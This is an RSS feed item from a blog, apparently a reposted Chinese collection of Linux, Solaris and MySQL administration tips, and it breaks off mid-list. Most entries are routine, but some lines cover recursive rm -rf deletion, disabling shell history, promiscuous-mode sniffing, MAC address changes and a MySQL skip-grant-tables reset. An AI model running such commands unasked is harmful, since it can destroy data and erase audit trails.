<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>0xf3sec</title>
	<atom:link href="http://www.0xf3sec.org/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.0xf3sec.org</link>
	<description>linux/php/perl/c/c++</description>
	<lastBuildDate>Sat, 11 Jun 2011 03:02:43 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Linux小技巧收集[zz]</title>
		<link>http://www.0xf3sec.org/linux%e5%b0%8f%e6%8a%80%e5%b7%a7%e6%94%b6%e9%9b%86zz/</link>
		<comments>http://www.0xf3sec.org/linux%e5%b0%8f%e6%8a%80%e5%b7%a7%e6%94%b6%e9%9b%86zz/#comments</comments>
		<pubDate>Sat, 11 Jun 2011 03:02:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[小技巧]]></category>
		<category><![CDATA[Linux小技巧]]></category>

		<guid isPermaLink="false">http://www.0xf3sec.org/?p=182</guid>
		<description><![CDATA[前言：因为用Linux的时间越来越长，所需要做的事也越来越多，效率成了我必需突破的瓶颈。在此总结一下这段时间用过的一些好的Linux技巧。以后时常补充这样自己要用的时候就很方便了。 Author:Ajian [文本处理] 1、查看某文件的一部分 如果你只想看文件的前 5 行，可以使用 head 命令， 如：head -5 /etc/passwd 如果你想查看文件的后 10 行，可以使用 tail 命令， 如：tail -10 /etc/passwd 查看文件中间一段，可以使用 sed 命令 如:sed –n &#8217;5,10p&#8217; /etc/passwd 这样你就可以只查看文件的第 5 行到第 10 行 2、将 file.txt 里的123改为 456 方法 1 sed &#8216;s/123/456/g&#8217; file.txt > file.txt.new 修改的保存到其它文件 sed -i &#8216;s/123/456/g&#8217; file.txt 直接修改原文件 方法 2 vi file.txt 输入命令： :%s/123/456/g [...]]]></description>
			<content:encoded><![CDATA[<p>前言：因为用Linux的时间越来越长，所需要做的事也越来越多，效率成了我必需突破的瓶颈。在此总结一下这段时间用过的一些好的Linux技巧。以后时常补充这样自己要用的时候就很方便了。<br />
                                                                     Author:Ajian<br />
[文本处理]<br />
1、查看某文件的一部分<br />
如果你只想看文件的前 5 行，可以使用 head 命令，<br />
如：head -5 /etc/passwd<br />
如果你想查看文件的后 10 行，可以使用 tail 命令，<br />
如：tail -10 /etc/passwd<br />
查看文件中间一段，可以使用 sed 命令<br />
如:sed –n &#8217;5,10p&#8217; /etc/passwd 这样你就可以只查看文件的第 5 行到第 10 行</p>
<p>2、将 file.txt 里的123改为 456<br />
方法 1<br />
sed &#8216;s/123/456/g&#8217; file.txt > file.txt.new   修改的保存到其它文件<br />
sed -i &#8216;s/123/456/g&#8217; file.txt 直接修改原文件<br />
方法 2<br />
vi file.txt<br />
输入命令：<br />
:%s/123/456/g<br />
注意：如果替换的文件有特殊符号如/就要用\来取消。<br />
例：sed -i &#8216;s/\/usr\/local\/apache2\/htdocs/\/var\/www\/html/g&#8217; /usr/local/apache2/conf/httpd.conf<br />
如果只是下原有的行后添加就用&#038;<br />
例：sed -i &#8216;s/DirectoryIndex index.html index.html.var/&#038; index.htm index.php /g&#8217; /usr/local/apache2/conf/httpd.conf<br />
3、echo 典型应用<br />
echo &#8220;abcdefg&#8221; | perl -lne &#8216;{$a = reverse($_); print $a;}&#8217; 把一个字符串翻转<br />
echo bottle|rev 把一个字符串翻转 </p>
<p>[文件目录管理]<br />
1、删除几天以前的所有东西(包括目录名和目录中的文件）<br />
1) find . -ctime +3 -exec rm -rf {} \;<br />
2) find ./ -mtime +3 -print|xargs rm -f –r</p>
<p>2、在多级目录中查找某个文件的方法<br />
1) find /dir -name filename.ext<br />
2) du -a | grep filename.ext<br />
3) locate filename.ext </p>
<p>3、删除软硬连接注意点<br />
删除软件连接的时候一定要记得不要在删除的文件夹后加一斜杠,<br />
rm -f filename/<br />
会说这是一个文件夹不能删除<br />
rm filename<br />
会提示说是否要删除这个连接。<br />
如果用的第一种可能会把其它文件都删除</p>
<p>4、删除目录中含输入关键字的文件<br />
find /mnt/ebook/ -type f -exec grep &#8220;在此输入关键字&#8221; {} \; -print -exec rm {} \; </p>
<p>5、在当前目录下解压 rpm 文件<br />
cat kernel-ntfs-2.4.20-8.i686.rpm | rpm2cpio | pax –r </p>
<p>6、用命令清空 Root 回收站中的文件<br />
cd /var/.Trash-root<br />
rm -rf *</p>
<p>[系统与安全]<br />
1、让用户的密码必须有一定的长度，并且符合复杂度<br />
vi /etc/login.defs，修改 PASS_MIN_LEN </p>
<p>2、用 dat 查询昨天的日期<br />
date &#8211;date=&#8217;yesterday&#8217; </p>
<p>3、修改系统时<br />
1) 设置你的时区： timeconfig 里选择Asia/Shanghai （如果你位于 GMT+8 中国区域）<br />
2) 与标准时间服务器校准： ntpdate time.nist.gov<br />
date -s “2003-04-14 cst”，cst 指时区，时间设定用 date -s 18:10<br />
修改后执行 clock -w 写到 CMOS<br />
3) 将当前软件系统时间写入硬件时钟： hwclock –systohc<br />
<span id="more-182"></span><br />
4、改变 redhat 的系统语言/字符集<br />
修改 /etc/sysconfig/i18n 文件，如<br />
LANG=&#8221;en_US&#8221;，xwindow会显示英文界面，<br />
LANG=&#8221;zh_CN.GB18030&#8243;，xwindow会显示中文界面。<br />
还有一种方法<br />
cp /etc/sysconfig/i18n $HOME/.i18n<br />
vi $HOME/.i18n 文件，如<br />
LANG=&#8221;en_US&#8221;，xwindow会显示英文界面，<br />
LANG=&#8221;zh_CN.GB18030&#8243;，xwindow会显示中文界面。<br />
这样就可以改变个人的界面语言，而不影响别的用户 </p>
<p>5、查看系统信息<br />
cat /proc/cpuinfo &#8211; CPU (i.e. vendor, Mhz, flags like mmx)<br />
cat /proc/interrupts &#8211; 中断<br />
cat /proc/ioports &#8211; 设备 IO端口<br />
cat /proc/meminfo &#8211; 内存信息(i.e. mem used, free, swap size)<br />
cat /proc/partitions &#8211; 所有设备的所有分区<br />
cat /proc/pci &#8211; PCI设备的信息<br />
cat /proc/swaps &#8211; 所有 Swap 分区的信息<br />
cat /proc/version &#8211; Linux 的版本号 相当于 uname -r<br />
uname -a &#8211; 看系统内核等信息 </p>
<p>6、让 linux自动同步时间<br />
vi /etc/crontab<br />
加上一句：<br />
00 0 1 * * root rdate -s time.nist.gov </p>
<p>7、如何防止某个关键文件被修改<br />
在 Linux 下，有些配置文件是不允许任何人（包括 root）修改的。为了防止被误删除或修改<br />
可以设定该文件的“不可修改位(immutable) ”。命令如下：<br />
# chattr +i /etc/fstab<br />
如果需要修改文件则采用下面的命令：<br />
# chattr -i /etc/fstab<br />
[管理与网络]<br />
1、 lsof 用法小全<br />
lsof abc.txt 显示开启文件 abc.txt 的进程<br />
lsof -i :22 知道 22 端口现在运行什么程序<br />
lsof -c nsd 显示 nsd 进程现在打开的文件<br />
lsof -g gid 显示归属 gid 的进程情况<br />
lsof +d /usr/local/ 显示目录下被进程开启的文件<br />
lsof +D /usr/local/ 同上，但是会搜索目录下的目录，时间较长<br />
lsof -d 4   显示使用 fd 为4 的进程<br />
lsof -i [i] 用以显示符合条件的进程情况<br />
语法: lsof -i[46] [protocol][@hostname|hostaddr][:service|port]<br />
46 &#8211;> IPv4 or IPv6<br />
protocol &#8211;> TCP or UDP<br />
hostname &#8211;> Internet host name<br />
hostaddr &#8211;> IPv4 位置<br />
service &#8211;> /etc/service中的 service name (可以不止一个)<br />
port &#8211;> 端口号(可以不止一个)<br />
例子: TCP:25 &#8211; TCP and port 25<br />
@1.2.3.4 &#8211; Internet IPv4 host address 1.2.3.4<br />
tcp@ohaha.ks.edu.tw:ftp &#8211; TCP protocol host:ohaha.ks.edu.tw service name:ftp<br />
lsof -n 不将 IP转换为 hostname，预设是不加上-n参数<br />
例子: lsof -i tcp@ohaha.ks.edu.tw:ftp -n<br />
lsof -p 12    看进程号为 12的进程打开了哪些文件 </p>
<p>2、grep 不显示本身进程<br />
#ps -aux|grep httpd|grep -v grep<br />
grep -v grep可以取消显示你所执行的 grep 本身这个进程，-v 参数是不显示所列出的进程名</p>
<p>3、查看本机IP<br />
ifconfig |grep &#8220;inet&#8221; |cut -c 0-36|sed -e &#8216;s/[a-zA-Z: ]//g&#8217;<br />
hostname –i</p>
<p>4、查看有多少活动的Httpd进程<br />
#!/bin/sh<br />
while (true)<br />
do<br />
pstree |grep &#8220;*\[httpd\]$&#8221;|sed &#8216;s/.*-\([0-9][0-9]*\)\*\[httpd\]$/\1/&#8217;<br />
sleep 3<br />
done<br />
   同样可以引用到其它的进程</p>
<p>5、设置 com1口，让超级终端通过 com1口进行登录<br />
第一步：确认有/sbin/agetty，编辑/etc/inittab，添加<br />
7:2345:respawn:/sbin/agetty /dev/ttyS0 9600<br />
9600bps 是因为连路由器时缺省一般都是这种速率，也可以设成<br />
19200、38400、57600、115200<br />
第二步：修改/etc/securetty，添加一行：ttyS0，确保 root 用户能登录<br />
第三步：重启机器，就可以拔掉鼠标键盘显示器（启动时最好还是要看看输出信息）了 </p>
<p>6、查找或删除正在使用某文件的进程<br />
fuser filename<br />
fuser -k filename </p>
<p>7、已知网络中一个机器的硬件地址，如何知道它所对应的 IP地址<br />
在 Linux 下，假定要查“00:0A:EB:27:17:B9”这样一个硬件地址所对应的 IP 地址，可以使<br />
用以下命令：<br />
# cat /proc/net/arp |grep 00:0A:EB:27:17:B9<br />
192.168.2.54 0&#215;1 0&#215;6 00:0A:EB:27:17:B9 *eth2<br />
另外，还可以用“arp -a”命令查询：<br />
# arp –a|grep 00:0A:EB:27:17:B9<br />
（192.168.2.54）at 00:0A:EB:27:17:B9[ether] on eth2 </p>
<p>8、在 Linux下如何绑定 IP地址和硬件地址<br />
可以编辑一个地址对应文件，里面记录了 IP地址和硬件地址的对应关系，然后执行“arp –<br />
f 地址对应文件”。如果没有指定地址对应文件，则通常情况下一默认文件/etc/ethers为准。<br />
地址对应文件的格式如下：<br />
192.168.0.1 00:0D:61:27:58:93<br />
192.168.0.2 00:40:F4:2A:2E:5C<br />
192.168.0.3 00:0A:EB:5E:BA:8E </p>
<p>9、更改 eth0是否混杂模式（混杂模式可以监听其它主机的信息）<br />
网卡 eth0 改成混杂模式：<br />
ifconfig eth0 promisc<br />
关闭混杂模式：<br />
ifconfig eth0 –promisc </p>
<p>10、linux下清空 arp表的命令<br />
#arp -d -a(适用于 bsd)<br />
for HOST in `arp | sed &#8216;/Address/d&#8217; | awk &#8216;{ print $1}&#8217;` ; do arp -d $HOST; done</p>
<p>11、如何得到网卡的 MAC地址<br />
arp -a | awk &#8216;{print $4}&#8217;<br />
ifconfig eth0 | head -1 | awk &#8216;{print $5}&#8217; </p>
<p>12、一个网卡绑定多 ip<br />
方法一、建立eth0:1在网卡后加冒号和数字的文件<br />
cp /etc/sysconfig/network-scripts/eth0 /etc/sysconfig/network-scripts/eth0:1<br />
再修改下eth0:1就可以了.<br />
方法二、<br />
在/etc/sysconfig/network-scripts/下创建一个文件：ifcfg-ethX-rangeX （&#8221;X&#8221;为网卡号）<br />
文件内容：<br />
IPADDR_START=<start ip><br />
IPADDR_END=<end ip><br />
CLONENUM=0<br />
可以有 256个 ip </p>
<p>13、一个 ip如何绑定两块网卡<br />
假设 192.168.0.88 是ip,192.168.0.1 是网关:<br />
/sbin/modprobe bonding miimon=100 mode=1<br />
/sbin/ifdown eth0<br />
/sbin/ifdown eth1<br />
/sbin/ifconfig bond0 192.168.0.88<br />
/sbin/ifenslave bond0 eth0 eth1<br />
/sbin/route add default gw 192.168.0.1 </p>
<p>14、设置ssh 上来能不自动断线<br />
修改自己 HOME 目录下的.bash_profile文件，加上<br />
export TMOUT=1000000 (以秒为单位)<br />
然后运行 source .bash_profile </p>
<p>15、mount 局域网上其他windows机器共享出的目录<br />
mount -t smbfs -o username=guest,password=guest //machine/path /mnt/cdrom </p>
<p>16、向登陆到同一台服务器上的所有用户发一条信息<br />
1)输入 wall并回车<br />
2)输入要发送的消息<br />
3)结束时按“Control-d”键,消息即在用户的控制窗口中显示</p>
<p>17、向远程机器上的所有用户发送消息<br />
使用 rwall(向所有人远程写)命令同时发送消息到网络中的所有用户。<br />
rwall hostname file<br />
当使用 CDE或 OpenWindows 等窗口系统时,每个窗口被看成是一次单个的登录;<br />
如果用户登录次数超过一次则消息直接发送到控制窗口</p>
<p>18、向网络中的所有用户发送消息<br />
发送消息到网络中的所有用户<br />
1)输入 rwall -n netgroup 并回车<br />
2)输入要发送的消息<br />
3)结束时按“Control-d”键，消息即在系统每个用户的控制窗口中显示，下面是系统管理员<br />
发消息到网络组 Eng 每个用户的例子：<br />
% rwall -n EngSystem will be rebooted at 11:00.(Control-d)<br />
%<br />
用户控制窗口中的消息:Broadcast message from root on console…System will be rebooted at<br />
11:00.EOF<br />
注意：也可以通过 rwall hostname（主机名）命令到系统的所有用户</p>
<p>19、 将 top的结果输出到文件中<br />
top -d 2 -n 3 -b >test.txt<br />
可以把 top 的结果每隔 2秒，打印 3次，这样后面页的进程也能够看见了 </p>
<p>20、装双系统不能看到另一个系统的解决办法<br />
首先光盘启动，进入 rescue 模式，运行 GRUB，进入 grub 提示符 grub>，然后敲入下面的<br />
语句，重启就好了。<br />
root (hd0,2)，setup (hd0) </p>
<p>21、压缩传输文件或目录<br />
传输到远程：tar czf &#8211; www | ssh server &#8220;tar zxf -&#8221;<br />
压缩到远程：tar czf &#8211; www | ssh server &#8220;cat > www.tar.gz&#8221;<br />
解压到远程：ssh server &#8220;tar zxf -&#8221; < www.tar.gz<br />
解压到本地：ssh server "cat www.tar.gz" | tar zxf - </p>
<p>22、命令行下发送带附件的邮件<br />
方法 1.      uuencode <in_file> <remote_file> | mail -s &#8220;title&#8221; mail@address<br />
<in_file> 本地需要作为附件的文件名。<br />
<remote_file> 邮件中的附件文件名，可以和<in_file>不同，其实内容一样。<br />
方法 2.       cat <mailcontent.txt> | mutt -s &#8220;title&#8221; -a <attachfile> mail@address<br />
<mailcontent.txt>邮件正文内容。<br />
<attachfile>本地需要作为附件的文件名。<br />
[Mysql维护]<br />
1、mysql 的数据库存放在什么地方<br />
1) 如果使用 rpm包安装，应该在/var/lib/mysql 目录下，以数据库名为目录名<br />
2) 如果源码安装在/usr/local/mysql中，应该在/usr/local/mysql/var中，以数据库名为目录名<br />
2、 从 mysql 中导出和导入数据<br />
导出数据库<br />
mysqldump 数据库名 > 文件名<br />
导入数据库<br />
mysqladmin create 数据库名<br />
mysql 数据库名 < 文件名 </p>
<p>3、忘了 mysql 的 root 口令怎么办<br />
# service mysql stop<br />
# mysqld_safe --skip-grant-tables &#038;<br />
# mysqladmin -u user password 'newpassword''<br />
# mysqladmin flush-privileges </p>
<p>4、 mysqld 起来了，却无法登录，提示"/var/lib/mysql/mysql.sock"不存在<br />
这种情况大多数是因为你的 mysql 是使用 rpm 方式安装的，它会自动寻找<br />
/var/lib/mysql/mysql.sock 这个文件，<br />
通过 unix socket 登录 mysql。<br />
常见解决办法如下：<br />
1)创建/修改文件 /etc/my.cnf，至少增加/修改一行<br />
[mysql]<br />
[client]<br />
socket = /tmp/mysql.sock<br />
#在这里写上你的 mysql.sock 的正确位置，通常不是在 /tmp/ 下就是在 /var/lib/mysql/ 下<br />
2)指定 IP地址，使用 tcp 方式连接mysql，而不使用本地 sock 方式<br />
#mysql -h127.0.0.1 -uuser -ppassword<br />
3)为 mysql.sock 加个连接，比如说实际的 mysql.sock 在 /tmp/ 下，则<br />
# ln -s /tmp/mysql.sock /var/lib/mysql/mysql.sock即可 </p>
<p>5、 导出数据的几种常用方法<br />
1)使用 mysqldump<br />
#mysqldump -uuser -ppassword -B database --tables table1 --tables table2 ><br />
dump_data_20051206.sql<br />
详细的参数<br />
2)backup to语法<br />
mysql>BACKUP TABLE tbl_name[,tbl_name...] TO &#8216;/path/to/backup/directory&#8217;;<br />
详细请查看 mysql 手册<br />
3)mysqlhotcopy<br />
#mysqlhotcopy db_name [/path/to/new_directory]<br />
或<br />
#mysqlhotcopy db_name_1 &#8230; db_name_n /path/to/new_directory<br />
或<br />
#mysqlhotcopy db_name./regex/<br />
详细请查看 mysql 手册<br />
4)select into outfile<br />
详细请查看 mysql 手册<br />
5)客户端命令行<br />
#mysql -uuser -ppassword -e &#8220;sql statements&#8221; database > result.txt<br />
以上各种方法中，以 mysqldump 最常用 </p>
<p>6、 如何在命令行上执行 sql 语句<br />
#mysql -uuser -ppassword -e &#8220;sql statements&#8221; database </p>
<p>7、 导入备份出来文件的常见方法<br />
1)由 mysqldump 出来的文件<br />
#mysql -uuser -ppassword [database] < dump.sql<br />
2)文件类型同上，使用 source 语法<br />
mysql>source /path_to_file/dump.sql;<br />
3)按照一定格式存储的文本文件或 csv 等文件<br />
#mysqlimport [options] database file1 [file2....]<br />
详细请查看 mysql 手册<br />
4)文件类型同上，也可以使用 load data 语法导入<br />
详细请查看 mysql 手册<br />
一、Solaris修改主机名</p>
<p>1． 编辑/etc/hosts</p>
<p>2． 编辑/etc/hostname.网卡名</p>
<p>3． 编辑/etc/nodename</p>
<p>4． 编辑/etc/net/ticots/hosts</p>
<p>5． 编辑/etc/net/ticosord/hosts</p>
<p>6． 编辑/etc/net/ticlts/hosts</p>
<p>二、网卡配置方法</p>
<p>1．查看网卡是否已经安装</p>
<p># ls /dev |grep “网卡名”</p>
<p>2．配置网卡接口名称</p>
<p># vi /etc/hostname.网卡名</p>
<p>Myethernet</p>
<p>3．配置子网掩码</p>
<p># vi /etc/inet/netmasks</p>
<p>192.168.0.0    255.255.255.0</p>
<p>4．配置网卡接口地址</p>
<p># vi /etc/inet/hosts</p>
<p>127.0.0.1 localhost</p>
<p>192.168.0.100 Myethernet</p>
<p>5．统一配置文件</p>
<p># vi /etc/inet/ipnodes</p>
<p>：：localhost</p>
<p>127.0.0.1 localhost</p>
<p>192.168.0.105 Myethernet     loghost</p>
<p>三、修改主机名</p>
<p>1．编辑/etc/hosts</p>
<p>2．编辑/etc/hostname.bge0</p>
<p>3．编辑/etc/nodename</p>
<p>4．编辑/etc/net/ticots/hosts</p>
<p>5．编辑/etc/net/ticotsord/hosts</p>
<p>6．编辑/etc/net/ticlts/hosts</p>
<p>四、建立、取消网卡逻辑IP</p>
<p>1．建立</p>
<p># ifconfig e1000g0:1 plumb up</p>
<p># ifconfig e1000g0:1 10.0.0.1 netmask 255.255.255.0 up</p>
<p>2．取消</p>
<p># ifconfig e10000:1 unplumb</p>
<p>3．永久性生效，需要修改/etc/hosts、/etc/hostname.e1000g0:1、/etc/inet/ipnodes 文件。</p>
<p>五、SOLARIS运行级别</p>
<p>0 进入OK状态 （需要SUN的PROM芯片支持）</p>
<p>1 管理状态 （单用户模式，禁止其他用户登陆）</p>
<p>2 多用户模式 （没有网络文件共享服务）</p>
<p>3 多用户模式 （有网络文件共享服务）</p>
<p>4 保留，未使用</p>
<p>5 退出操作系统并关机</p>
<p>6 重启</p>
<p>S,s 单用户模式</p>
<p>六、磁盘命名</p>
<p>逻辑设备：在/dev/目录下的设备名</p>
<p>物理设备：在/device/目录下的设备名</p>
<p>说明：逻辑设备通常容易被我们区分，而物理设备由KERNEL直接去识别，所以比较难理解。一般我们去记某一设备的逻辑设备名就可以了。</p>
<p>Sun使用下列命名方式定义逻辑设备名</p>
<p>/dev/[r]dsk/cXtXdXsX</p>
<p>         c：逻辑控制器号  </p>
<p>         t：物理总线目标号</p>
<p>         d：磁盘式逻辑单元号（LUN SCSI设备为0）</p>
<p>         s：分区号</p>
<p>七、文字模式与WINDOWS模式的开关命令</p>
<p># /usr/dt/bin/dtconfig –[de]</p>
<p>-d disable</p>
<p>-e enable</p>
<p>八、显示完全程序名的ps命令</p>
<p>/usr/ucb/ps –auxwww</p>
<p>相当于linux下ps –ef –cols</p>
<p>九、Solaris &#8211; ping命令查看主机IP地址</p>
<p>ping命令加上-a或-s即可查看主机IP地址:<br />
#ping -a hostname<br />
or<br />
#ping -s hostname</p>
<p>十、ls命令的几个技巧</p>
<p>按时修改间(modification time)排序：ls -t, ls -lt, ls -1t, ls -Ct</p>
<p>按访问时间(access time)排序：ls -u</p>
<p>按文件大小排序：ls -lS</p>
<p>显示所有文件，除了.及..：ls -A</p>
<p>十一、删除“－”开头的文件</p>
<p>对于文件名中含－的文件，rm命令容易认为这是命令选项，用rm *报：</p>
<p>rm: ERROR: Illegal option &#8212; c</p>
<p>usage: rm [-fiRr] file&#8230;</p>
<p>删除的方法：</p>
<p>1 rm ./－filename 这样使－不是第一个字符。</p>
<p>2.rm &#8212; －filename 用－－告诉rm这是最后一个选项，参见getopt。有的系统用</p>
<p>rm － －filename</p>
<p>3.ls -i 列出inum ；用find . -inum inum_of_thisfile -exec rm &#8216;{}&#8217; \;</p>
<p>用这种方法可以删除含特殊字符的文件。</p>
<p>十二、>重定向</p>
<p>1.你也可以输出重定向到一个设备里，因为linux把所有设备都看成文件</p>
<p>比如，当多用户登录是，A用户使用的是pts/0终端</p>
<p>你可以用这种方式和他聊天</p>
<p>echo &#8220;ｈｉ＂　＞　／ｄｅｖ／ｐｔｓ／０</p>
<p>不过这种方法很流氓，而且需要你对这个设备有写权</p>
<p>2.新建文件</p>
<p>>aaa         新建文件aaa</p>
<p>>-aaa        新建文件-aaa</p>
<p>3.清空文件</p>
<p>>aaa</p>
<p>linux技巧</p>
<p>++实现RedHat非正常关机的自动磁盘修复<br />
先登录到服务器，然后在/etc/sysconfig里增加一个文件autofsck,内容如下：<br />
AUTOFSCK_DEF_CHECK=yes<br />
PROMPT=yes</p>
<p>++改变文件或目录之最后修改时间(变为当前时间)<br />
执行格式：touch name ( name 可为文件或目录名称。)</p>
<p>++如何设置login后欢迎信息<br />
修改/etc/motd，往里面写入文本即可。</p>
<p>++如何设置login前欢迎界面<br />
修改/etc/issue或者issue.net，往里面写入文本。<br />
issue的内容是出现在本机登录的用户界面上，而issue.net则是在用户通过网络telnet的时候出现。</p>
<p>++如何修改网卡MAC地址<br />
首先必须关闭网卡设备，否则会报告系统忙，无法更改。<br />
命令是： /sbin/ifconfig eth0 down<br />
修改 MAC 地址，这一步较 Windows 中的修改要简单。<br />
命令是：/sbin/ifconfig eth0 hw ether 00:AA:BB:CC:DD:EE<br />
重新启用网卡 /sbin/ifconfig eht0 up<br />
网卡的 MAC 地址更改就完成了</p>
<p>++建立别名/删除别名<br />
alias cp=&#8217;cp -i&#8217;<br />
unalias cp</p>
<p>++如何知道某个命令使用了什么库文件<br />
例如要知道ls使用了什么库文件，可以使用：<br />
$ ldd /bin/ls</p>
<p>++如何使一个用户进程在用户退出系统后仍然运行<br />
使用nohup command &#038;，比如：nohup wget -c ftp://test.com/test.iso<br />
#这样即使用户退出系统，wget进程仍然继续运行直到test.iso下载完成为止</p>
<p>++如何限制用户的最小密码长度<br />
修改/etc/login.defs里面的PASS_MIN_LEN的值。比如限制用户最小密码长度是8：<br />
PASS_MIN_LEN 8</p>
<p>++如何取消root命令历史记录以增加安全性<br />
为了设置系统不记录每个人执行过的命令，就在/etc/profile里设置：<br />
HISTFILESIZE=0<br />
HISTSIZE=0<br />
或者：<br />
ln -s /dev/null ~/.bash_history</p>
<p>++如何测试硬盘性能<br />
使用hdparm -t -T /dev/hdX就可以测试硬盘的buffer-cache reads和buffered disk reads两个数据，可以用来当作硬盘性能的参考。<br />
同时使用hdparm -c3 /dev/hdaX还能设置硬盘以32bit传输，以加快数据传输的速度。</p>
<p>++如何列出一个目录占用的空间<br />
du或du -s或du -k<br />
du -S | sort -n 可以迅速发现那个目录是最大的。<br />
用df可以看到已安装的文件系统的空间大小及剩余空间大小。<br />
quota -v查看用户的磁盘空间信息,如果你用quota限制了用户空间大小的话。</p>
<p>++如何使新用户首次登陆后强制修改密码<br />
#useradd -p ‘’ testuser; chage -d 0 testuser</p>
<p>++在Linux中有时开机不自动检查新硬件，新安装的网卡找不到。请问怎么解决？<br />
答：自动检查新硬件的服务是Kudzu，用户可以用“ntsysv”命令启动该服务。下次重启就会找到用户的新网卡。</p>
<p>++从台湾省的一个 网站找到的,如何让系统密码和samba密码一致,并可以让用户自行修改他们的密码.<br />
使用web界面來同步更改system passwd 及 samba password<br />
下载 http://changepassword.sourceforge.net/<br />
安装就可以了.先看README哈.<br />
附加:<br />
将系统用户批量倒成samba用户.<br />
less /etc/passwd | mksmbpasswd.sh >; /etc/samba/smbpasswd</p>
<p>++更改Linux启动时用图形界面还是字符界面<br />
cd /etc<br />
vi inittab<br />
将id:5:initdefault: 其中5表示默认图形界面<br />
改id:3: initdefault: 3表示字符界面</p>
<p>++配置smb可以被哪些IP所用.<br />
cd /etc/samba<br />
Vi smb.conf<br />
找到hosts allow = 192.168.1. 192.168.2. 127.<br />
修改其为哪些机器所用,注意IP之间用逗号分开<br />
举例:<br />
hosts allow =192.168.1.110,192.168.1.120</p>
<p>++禁止在后台使用CTRL-ALT-DELETE重起机器<br />
cd /etc/inittab<br />
vi inittab 在文件找到下面一行<br />
# Trap CTRL-ALT-DELETE<br />
ca::ctrlaltdel:/sbin/shutdown -t3 -r now （注释掉这一行）<br />
如： # Trap CTRL-ALT-DELETE<br />
#ca::ctrlaltdel:/sbin/shutdown -t3 -r now</p>
<p>++修改主机名<br />
vi /etc/sysconfig/network<br />
修改HOSTNAME一行为HOSTNAME=主机名</p>
<p>++查看开机检测的硬件<br />
dmesg | more</p>
<p>++查看硬盘使用情况<br />
df –m</p>
<p>++查看目录的大小<br />
du –sh dirname</p>
<p>++解压小全<br />
tar xvfj lichuanhua.tar.bz2<br />
tar xvfz lichuanhua.tar.gz<br />
tar xvfz lichuanhua.tgz<br />
tar xvf lichuanhua.tar<br />
unzip lichuanhua.zip<br />
注:压缩 tar cvfz FileName.tar.gz DirName</p>
<p>++显示内存使用情况<br />
free –m</p>
<p>++显示系统运行了多长时间<br />
uptime</p>
<p>++显示开机自检的内容命令<br />
dmesg</p>
<p>++端口的详细列表<br />
/etc/services</p>
<p>++查看物理信息<br />
lspci</p>
<p>++文本截面的中文支持<br />
RH 9.0自带安装包 zhcon_0.2.3_1.rh9.i386.rpm<br />
安装完成后，执行: zhcon 就可以支持中文了</p>
<p>++linux 控制 windows<br />
(1)用RH9.0自己带rdesktop,版本是1.2.0<br />
命令：rdesktop –u user –f 192.168.1.70 色默认的是8位<br />
(2)要达到16色，就要下载新版本1.3.0<br />
rdesktop –a 16 –u lichuanhua –g 800*600 192.168.1.70</p>
<p>++不让显示器休眠<br />
setterm –blank 0</p>
<p>++显示最后一个登录到系统的用户<br />
last</p>
<p>++查看所有帐号的最后登录时间<br />
lastlog /var/log/lastlog</p>
<p>++查看系统自开通以来所有用户的登录时间和地点<br />
cat /var/log/secure</p>
<p>++显示当前用户所属信息<br />
id</p>
<p>++如何知道Apache的连接数目<br />
ps -ef|grep httpd|wc -l #其它服务可以类推<br />
netstat -nat|grep -i “80″|wc -l # 以上结果再减1吧</p>
<p>++删除用户帐号的同时,把用户的主目录也一起删除<br />
userdel -r 用户名</p>
<p>++修改已有用户的信息<br />
usermod [参数] 用户名<br />
参数: -c, -d, -m, -g, -G, -s, -u以及-o与adduser参数意义相同<br />
新参数: -l 新用户名(指定一个新的账号,即将原来的用户名改为新的用户名)</p>
<p>++改变redhat的系统语言/字符集<br />
改 /etc/sysconfig/i18n 文件，如<br />
LANG=”en_US”，xwindow会显示英文界面，<br />
LANG=”zh_CN.GB18030″，xwindow会显示中文界面。<br />
还有一种方法<br />
cp /etc/sysconfig/i18n $HOME/.i18n<br />
修改 $HOME/.i18n 文件，如<br />
LANG=”en_US”，xwindow会显示英文界面，<br />
LANG=”zh_CN.GB18030″，xwindow会显示中文界面。<br />
这样就可以改变个人的界面语言，而不影响别的用户<br />
vi .bashrc<br />
export LANG=zh_CN.GB2312<br />
export LC_ALL=zh_CN.GB2312</p>
<p>++cd光盘做成iso文件<br />
cp /dev/cdrom xxxx.iso</p>
<p>++快速观看开机的硬件检测<br />
dmesg | more</p>
<p>++查看硬盘的使用情况<br />
df -k 以K为单位显示<br />
df -h 以人性化单位显示，可以是b,k,m,g,t..</p>
<p>++查看目录的大小<br />
du -sh dirname<br />
-s 仅显示总计<br />
-h 以K、M、G为单位，提高信息的可读性。KB、MB、GB是以1024为换算单 位， -H以1000为换算单位。</p>
<p>++查找或删除正在使用某文件的进程<br />
fuser filename<br />
fuser -k filename</p>
<p>++linux中让用户的密码必须有一定的长度,并且符合复杂度<br />
vi /etc/login.defs，改PASS_MIN_LEN</p>
<p>++以不同的用户身份运行程序<br />
su &#8211; username -c “/path/to/command”<br />
有时候需要运行特殊身份的程序, 就可以让su来做</p>
<p>++ adduser m -g cvsroot -s /bin/false<br />
添加用户m，参数-s /bin/false表示不允许用户直接登录服务器<br />
id m<br />
显示m用户的uid和gid号。</p>
<p>++ 强制卸载rpm包<br />
rpm -e –nodeps 包名称<br />
#个别不正常情况下:<br />
rm -f /var/lib/rpm/__*<br />
rpm –rebuilddb</p>
<p>++拒绝除root用户的其它用户登陆<br />
touch /etc/nologin<br />
也可以在/etc/passwd中加!对指定用户限制登陆</p>
<p>++检查自己所属之群组名称<br />
执行格式：groups</p>
<p>++修改文件/文件夹所属用户组(支持-R)<br />
chown .组名 文件名(注:组名名勿忘”.”，“:”也可)<br />
也可chgrp 组名 文件名<br />
chown 用户名.组名 文件名(同时修改所属用户及用户组)</p>
<p>++用fuser命令查看一下是哪些进程使用这个分区上的文件：<br />
